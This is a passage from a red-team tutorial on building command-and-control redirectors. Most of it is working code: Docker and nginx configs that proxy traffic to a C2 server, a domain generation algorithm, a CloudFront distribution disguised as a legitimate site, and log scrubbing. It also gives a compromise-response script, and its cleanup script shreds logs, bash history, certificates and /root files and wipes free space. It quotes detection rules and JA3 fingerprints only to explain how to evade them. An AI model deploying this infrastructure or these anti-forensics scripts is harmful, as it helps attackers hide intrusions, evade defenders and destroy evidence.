1. **Role-based organization**: Separate roles for different redirector types
2. **Templates**: Standardized configuration templates for services
3. **Inventory management**: Dynamic inventory for cloud-based redirectors
4. **Secrets management**: Integration with Ansible Vault or external secret stores
5. **Scheduled maintenance**: Regular playbook runs for updates and configuration checks

Docker for Containerized Redirectors

If you need to deploy redirectors quickly or reconfigure them often, Docker containers are awesome. They give you isolation, portability, and make management much easier.

```
FROM nginx:alpine

# Install required tools
RUN apk add --no-cache certbot openssl curl bash

# Copy configuration files
COPY nginx.conf /etc/nginx/conf.d/default.conf
COPY entrypoint.sh /entrypoint.sh
```

```
# Make entrypoint executable
RUN chmod +x /entrypoint.sh

# Set environment variables
ENV REDIRECTOR_DOMAIN=example.com
ENV C2_SERVER=actual-c2-server.com
ENV REDIRECT_PATH=/news/api/v1/
ENV C2_PATH=/api/

# Expose ports
EXPOSE 80 443

# Set entrypoint
ENTRYPOINT ["/entrypoint.sh"]
```

And here's what your `entrypoint.sh` might look like:

```
#!/bin/bash
set -e

# Generate Nginx config from template
cat > /etc/nginx/conf.d/default.conf << EOL
server {
    listen 80;
    server_name ${REDIRECTOR_DOMAIN};

    location /.well-known/acme-challenge/ {
        root /var/www/certbot;
    }

    location / {
        return 301 https://\$host\$request_uri;
    }
}

server {
    listen 443 ssl;
    server_name ${REDIRECTOR_DOMAIN};

    ssl_certificate
/etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/fullchain.pem;
    ssl_certificate_key
/etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/privkey.pem;
```

```
    location ${REDIRECT_PATH} {
        proxy_pass https://${C2_SERVER}${C2_PATH};
        proxy_set_header Host ${C2_SERVER};
        proxy_set_header X-Real-IP \$remote_addr;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
    }

    location / {
        root /usr/share/nginx/html;
        index index.html;
    }
}
EOL

# Check if certificates exist, obtain if necessary
if [ ! -d "/etc/letsencrypt/live/${REDIRECTOR_DOMAIN}" ]; then
    echo "Obtaining certificates for ${REDIRECTOR_DOMAIN}..."
    certbot certonly --standalone -d ${REDIRECTOR_DOMAIN} --non-interactive
--agree-tos -m admin@example.com
fi

# Start Nginx
nginx -g 'daemon off;'
```

To deploy this with Docker Compose:

```
version: '3'

services:
  http-redirector:
    build: .
    ports:
      - "80:80"
      - "443:443"
    environment:
      - REDIRECTOR_DOMAIN=legitimate-looking-domain.com
      - C2_SERVER=actual-c2-server.com
      - REDIRECT_PATH=/news/api/v1/
      - C2_PATH=/api/
    volumes:
      - ./data/certbot/conf:/etc/letsencrypt
      - ./data/certbot/www:/var/www/certbot
      - ./data/html:/usr/share/nginx/html
    restart: unless-stopped
```

```
  certbot:
    image: certbot/certbot
    volumes:
      - ./data/certbot/conf:/etc/letsencrypt
      - ./data/certbot/www:/var/www/certbot
    entrypoint: "/bin/sh -c 'trap exit TERM; while :; do certbot renew;
sleep 12h & wait $${!}; done;'"
```

Docker redirectors have several big advantages:

1. **Consistency**: Containers are created from images that don't change, so you get the same deployment every time
2. **Isolation**: Containers keep the redirector separate from the host system
3. **Portability**: You can run these containers on any system with Docker
4. **Easy scaling**: Scale up or down as needed
5. **Quick recovery**: If a redirector is compromised, you can destroy and recreate it in seconds

For a complete containerized redirector strategy, consider:

- Setting up a container registry to store your redirector images
- Using Kubernetes for more advanced container management
- Setting up health checks to automatically replace broken containers
- Using Docker networks to segment traffic between containers

Detecting Redirector Traffic

Understanding how the blue team spots redirectors can help you build better evasion strategies. Let's look at some common detection methods and how they might catch your redirectors.

Network Defense Perspective

From a defender's view, redirectors can be spotted through traffic analysis, pattern matching, and watching for suspicious behavior.

A typical Suricata rule for detecting suspicious HTTPS connections might look like:

```
# Suricata rule to detect suspicious long-polling HTTPS connections
alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Potential C2 channel - Long polling HTTPS";
```

```
    flow:established,to_server;
    http.method; content:"POST";
    http.header; content:"Content-Type: application/octet-stream";
    tls.cert_subject; content:!"Microsoft Corporation"; content:!"Google
LLC"; content:!"Amazon.com";
    detection_filter:track by_src, count 5, seconds 3600;
    classtype:trojan-activity;
    sid:3000001; rev:1;
)
```

This rule shows several key detection methods:

- Looking for connections that stay open too long
- Checking for suspicious HTTP methods like POST
- Flagging unusual content types that might indicate binary data
- Verifying certificate details
- Counting connection frequency

To beat these detection methods, your redirectors should:

1. Use HTTP methods that make sense for the context (GET for browsing, POST for forms)
2. Use content types that match legitimate traffic
3. Get certificates from trusted sources with legitimate-looking details
4. Control how often you connect and for how long to mimic normal user behavior

JA3/JA3S SSL Fingerprinting

JA3 is a clever technique that creates fingerprints of SSL/TLS clients based on how they establish connections. It can identify C2 traffic regardless of the IP or certificate being used.

Here's how defenders might analyze these fingerprints:

```
def analyze_ssl_fingerprint(pcap_file):
    """Analyze SSL/TLS fingerprints in PCAP to detect C2 redirectors"""
    fingerprints = {}

    for packet in read_pcap(pcap_file):
        if packet.haslayer(TLS) and packet.haslayer(TCP):
            # Extract JA3 fingerprint
```

```
            ja3 = extract_ja3(packet)

            if ja3:
                if ja3 in fingerprints:
                    fingerprints[ja3] += 1
                else:
                    fingerprints[ja3] = 1

    # Check against known C2 framework fingerprints
    known_c2_ja3 = [
        "e7d705a3286e19ea42f587b344ee6865",  # Cobalt Strike
        "6734f37431670b3ab4292b8f60f29984",  # Metasploit
        "a0e9f5d64349fb13191bc781f81f42e1"   # Empire
    ]

    for fp, count in fingerprints.items():
        if fp in known_c2_ja3:
            print(f"Warning: Detected potential C2 SSL fingerprint {fp}
(count: {count})")
```

JA3 fingerprinting is tough to beat because:

1. It's hard to modify the TLS implementation in many C2 frameworks
2. The fingerprint stays the same regardless of your endpoint or certificate
3. It can spot malicious traffic even when you're using domain fronting

To counter JA3 fingerprinting, your implants should:

1. Use standard, common TLS libraries (like the ones in popular browsers)
2. Avoid unique cipher configurations that stand out
3. Consider using custom TLS clients that mimic popular browser fingerprints

Evading Detection

As blue teams get better at detection, we need to get better at evasion. Here are some advanced techniques that can help you stay under the radar.

Dynamic Domain Generation

Dynamic Domain Generation Algorithms (DGAs) create domains based on a shared algorithm that both your implant and C2 server know. This prevents defense teams from just blocking a list of fixed domains.

```
def generate_domain(seed, date):
    """Generate domain based on seed and current date"""
    # Use date components to make it deterministic
    day = date.day
    month = date.month
    year = date.year

    # Create a deterministic seed
    domain_seed = seed + str(day) + str(month) + str(year)

    # Generate domain components
    import hashlib
    import base64

    hash_obj = hashlib.sha256(domain_seed.encode())
    hash_digest = hash_obj.digest()

    # Convert to base36 for domain-safe characters
    hash_b36 = base64.b36encode(hash_digest[:10]).decode().lower()

    # Add a realistic-looking TLD
    tlds = ['com', 'net', 'org', 'info', 'io']
    tld_index = sum(bytearray(hash_digest[10:11])) % len(tlds)

    return f"{hash_b36}.{tlds[tld_index]}"
```

For a good DGA strategy:

1. **Use time as your seed**: Base domain generation on time periods to keep everything in sync
2. **Make domains look real**: Generate domains that don't scream "I was made by an algorithm!"
3. **Have backup channels**: Set up alternative communication methods if your DGA domains get blocked
4. **Pre-register domains**: Register a bunch of domains so you're not flagged for sudden registration activity

Content Delivery Networks (CDNs)

Beyond domain fronting, CDNs offer more benefits for hiding your redirectors:

```
def setup_cdn_redirector():
    """Setting up a CDN for redirector obfuscation"""
    # Configure CloudFront distribution
    cloudfront = boto3.client('cloudfront')

    response = cloudfront.create_distribution(
        DistributionConfig={
            'Origins': {
                'Quantity': 1,
                'Items': [
                    {
                        'Id': 'redirector-origin',
                        'DomainName': 'redirector-elb-12345.us-east-
1.elb.amazonaws.com',
                        'CustomOriginConfig': {
                            'HTTPPort': 80,
                            'HTTPSPort': 443,
                            'OriginProtocolPolicy': 'https-only',
                            'OriginSSLProtocols': {
                                'Quantity': 1,
                                'Items': ['TLSv1.2']
                            }
                        }
                    }
                ]
            },
            'DefaultCacheBehavior': {
                'TargetOriginId': 'redirector-origin',
                'ViewerProtocolPolicy': 'redirect-to-https',
                'AllowedMethods': {
                    'Quantity': 7,
                    'Items': ['GET', 'HEAD', 'POST', 'PUT', 'PATCH',
'OPTIONS', 'DELETE'],
                    'CachedMethods': {
                        'Quantity': 2,
                        'Items': ['GET', 'HEAD']
                    }
                },
                'ForwardedValues': {
                    'QueryString': True,
                    'Cookies': {
                        'Forward': 'all'
                    },
```

```
                    'Headers': {
                        'Quantity': 1,
                        'Items': ['Host']
                    }
                },
                'MinTTL': 0,
                'DefaultTTL': 0
            },
            'Enabled': True,
            'Comment': 'Legitimate website distribution'
        }
    )

    print(f"CDN Distribution created: {response['Distribution']
['DomainName']}")
```

CDNs give you several advantages:

1. **Traffic blending**: CDN traffic is normal and generally trusted
2. **DDoS protection**: Built-in protection against denial of service attacks
3. **Global reach**: Points of presence around the world for better performance
4. **SSL handling**: Manages SSL/TLS encryption at the edge
5. **Content caching**: Can cache legitimate content while passing C2 traffic

To get the most from your CDN:

- Configure cache settings to make sure C2 traffic isn't cached
- Set up proper request policies to keep necessary headers
- Use custom domain names with convincing certificates
- Watch CDN logs for signs of detection

Operational Security Considerations

Keeping your redirectors secure throughout their lifecycle is crucial for successful operations.

Log Management

Good log management prevents sensitive information from being stored and potentially discovered:

```
def sanitize_logs():
    """Sanitize sensitive logs on the redirector"""
    # Remove IP addresses
    sed_command = "sed -i 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-
9]\{1,3\}/REDACTED_IP/g' /var/log/nginx/access.log"
    os.system(sed_command)

    # Remove User Agents
    sed_command = "sed -i 's/\"Mozilla\\/[^\"]*\"/\"REDACTED_UA\"/g'
/var/log/nginx/access.log"
    os.system(sed_command)

    # Remove request URIs containing potential C2 paths
    sed_command = "sed -i 's/GET \\/news\\/api\\/v1\\/[^ ]*/GET
\\/news\\/api\\/v1\\/REDACTED_URI/g' /var/log/nginx/access.log"
    os.system(sed_command)
```

A good log management strategy should include:

1. **Minimal logging**: Only log what you absolutely need
2. **Regular cleaning**: Automatically remove sensitive information
3. **Aggressive rotation**: Purge old logs frequently
4. **Secure transmission**: If you centralize logs, transmit them securely
5. **Encryption**: Encrypt logs if you must keep them

For production environments, consider a more advanced logging setup:

```
def implement_advanced_logging():
    """Set up advanced logging configuration"""
    # Configure rsyslog for minimal logging
    rsyslog_conf = """
    # Minimal logging configuration
    # Only log critical errors
    *.info;mail.none;authpriv.none;cron.none /var/log/messages

    # Discard debug messages
    *.=debug     /dev/null

    # Set strict permissions on logs
    $FileOwner root
    $FileGroup adm
    $FileCreateMode 0640
    $DirCreateMode 0755
    $Umask 0022
```

```
    """

    with open('/etc/rsyslog.conf', 'w') as f:
        f.write(rsyslog_conf)

    # Set up log rotation with secure deletion
    logrotate_conf = """
    /var/log/nginx/*.log {
        daily
        rotate 1
        missingok
        notifempty
        compress
        delaycompress
        sharedscripts
        postrotate
            find /var/log/nginx/ -type f -name "*.log.1" -exec shred -u {}
\;
            /etc/init.d/nginx reload >/dev/null 2>&1
        endscript
    }
    """

    with open('/etc/logrotate.d/nginx', 'w') as f:
        f.write(logrotate_conf)
```

Automated Health Checks

Regular health checks make sure your redirectors stay operational and haven't been discovered:

```
def check_redirector_health():
    """Perform health checks on redirector infrastructure"""
    checks = [
        ("Certificate Expiry", check_certificate_expiry),
        ("Domain Registration Expiry", check_domain_expiry),
        ("IP Reputation", check_ip_reputation),
        ("Server Uptime", check_server_uptime),
        ("Firewall Rules", check_firewall_rules),
        ("Suspicious Connections", check_suspicious_connections)
    ]

    results = {}
    for check_name, check_func in checks:
        try:
```

```
            status, details = check_func()
            results[check_name] = {"status": status, "details": details}
        except Exception as e:
            results[check_name] = {"status": "ERROR", "details": str(e)}

    return results
```

A good health check system should:

1. **Run automatically**: Schedule regular checks without you having to do anything
2. **Be thorough**: Check all aspects of redirector health
3. **Alert when needed**: Let you know when something's wrong
4. **Track changes**: Watch for unexpected changes to configuration or behavior
5. **Test communication**: Make sure the redirector can still talk to your C2 server

Here are some specific health checks you might implement:

```
def check_certificate_expiry():
    """Check if SSL certificates are approaching expiration"""
    cmd = "openssl x509 -enddate -noout -in
/etc/letsencrypt/live/*/cert.pem"
    output = subprocess.check_output(cmd, shell=True).decode('utf-8')

    # Parse expiry date
    expiry_str = output.split('=')[1].strip()
    expiry_date = datetime.strptime(expiry_str, '%b %d %H:%M:%S %Y %Z')
    days_remaining = (expiry_date - datetime.now()).days

    if days_remaining < 7:
        return "WARNING", f"Certificate expires in {days_remaining} days"
    return "OK", f"Certificate valid for {days_remaining} days"

def check_suspicious_connections():
    """Check for suspicious outbound connections"""
    # Get established connections
    cmd = "ss -tuln | grep ESTABLISHED"
    output = subprocess.check_output(cmd, shell=True).decode('utf-8')

    # Get list of authorized destinations
    authorized = ['198.51.100.1:443', '203.0.113.1:80']
```

```
    # Check for unauthorized connections
    unauthorized = []
    for line in output.splitlines():
        parts = line.split()
        if len(parts) >= 5:
            dest = parts[4]
            if dest not in authorized:
                unauthorized.append(dest)

    if unauthorized:
        return "WARNING", f"Unauthorized connections: {',
'.join(unauthorized)}"
    return "OK", "No suspicious connections detected"
```

Response to Compromise

Even with the best security, your redirectors might eventually get discovered or compromised. Having a plan ready for this situation is key to maintaining good operational security.

```
#!/bin/bash
# Emergency redirector rotation script

# Parse arguments
CURRENT_IP=$1
OPERATION_NAME=$2

# Log the rotation event
echo "[$(date)] Rotating redirector for operation $OPERATION_NAME (current
IP: $CURRENT_IP)" >> /var/log/rotation.log

# Provision new infrastructure
TERRAFORM_DIR="/opt/redirector-terraform"
cd $TERRAFORM_DIR

# Create new redirector
terraform apply -var="operation_name=$OPERATION_NAME" -
var="emergency_rotation=true" -auto-approve

# Get new redirector details
NEW_IP=$(terraform output -raw redirector_ip)
NEW_DOMAIN=$(terraform output -raw redirector_domain)

# Update DNS records
echo "[$(date)] New redirector provisioned: $NEW_IP ($NEW_DOMAIN)" >>
```

```
/var/log/rotation.log

# Notify team
curl -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage" \
     -d "chat_id=$TELEGRAM_CHAT_ID" \
     -d "text=🚨 Emergency redirector rotation completed 🚨
Operation: $OPERATION_NAME
New IP: $NEW_IP
New Domain: $NEW_DOMAIN
Please update any active agents."

# Sanitize and shut down old redirector
ssh admin@$CURRENT_IP "sudo bash /opt/cleanup.sh && sudo shutdown -h now"
```

This script handles several important aspects of responding to compromise:

- **Quick rotation**: Rapidly deploys replacement infrastructure
- **Logging**: Keeps records of rotation events
- **Team alerts**: Notifies your team about the rotation
- **Cleanup**: Sanitizes the compromised redirector

A complete compromise response plan should include:

1. **Clear indicators**: Know exactly what counts as a compromise
2. **Decision guidelines**: Know when to rotate infrastructure
3. **Secure communication**: Have safe ways to notify team members
4. **Evidence handling**: Procedures for saving evidence if needed
5. **Anti-attribution**: Methods to prevent being tracked even after compromise

Here's an example cleanup script for compromised redirectors:

```
#!/bin/bash
# cleanup.sh - Sanitize a compromised redirector

# Stop services
systemctl stop nginx
systemctl stop ssh

# Clear logs
find /var/log -type f -exec shred -n 3 -z -u {} \; 2>/dev/null || true

# Clear bash history
```

```
history -c
echo "" > ~/.bash_history
unset HISTFILE

# Securely delete sensitive files
find /etc/nginx/sites-available -type f -exec shred -n 3 -z -u {} \;
2>/dev/null || true
find /etc/letsencrypt -type f -exec shred -n 3 -z -u {} \; 2>/dev/null ||
true
find /root -type f -exec shred -n 3 -z -u {} \; 2>/dev/null || true

# Clear swap
swapoff -a
swapon -a

# Overwrite free space
dd if=/dev/zero of=/zerofile bs=4M || true
rm -f /zerofile

echo "Cleanup complete"
```

Conclusion

Throughout this article, we've explored C2 redirectors from basic setups to advanced techniques. By implementing these approaches, you can build stealthy, resilient infrastructure that supports your red team operations while minimizing the risk of detection.

The key takeaways from this article are:

1. **Use multiple layers**: Implement several layers of redirectors for maximum resilience
2. **Automate infrastructure**: Use tools like Terraform and Ansible to manage redirectors efficiently
3. **Look legitimate**: Make sure your redirectors appear legitimate in every way
4. **Design for evasion**: Build detection evasion into your redirectors from the start
5. **Maintain good OPSEC**: Keep strict operational security throughout the redirector lifecycle
6. **Have a contingency plan**: Be ready for when redirectors are discovered

Remember, the most effective redirector strategy is one that's customized for your specific operational context and target environment. The techniques in this article give you a solid foundation, but you should adapt them to your specific needs and the changing threat landscape.

By mastering these redirector techniques, red teams can maintain persistent, stealthy access to target environments while minimizing the risk of detection, ultimately making their security assessments more valuable.

Relations

XSS to Account Takeover and Data Exfiltration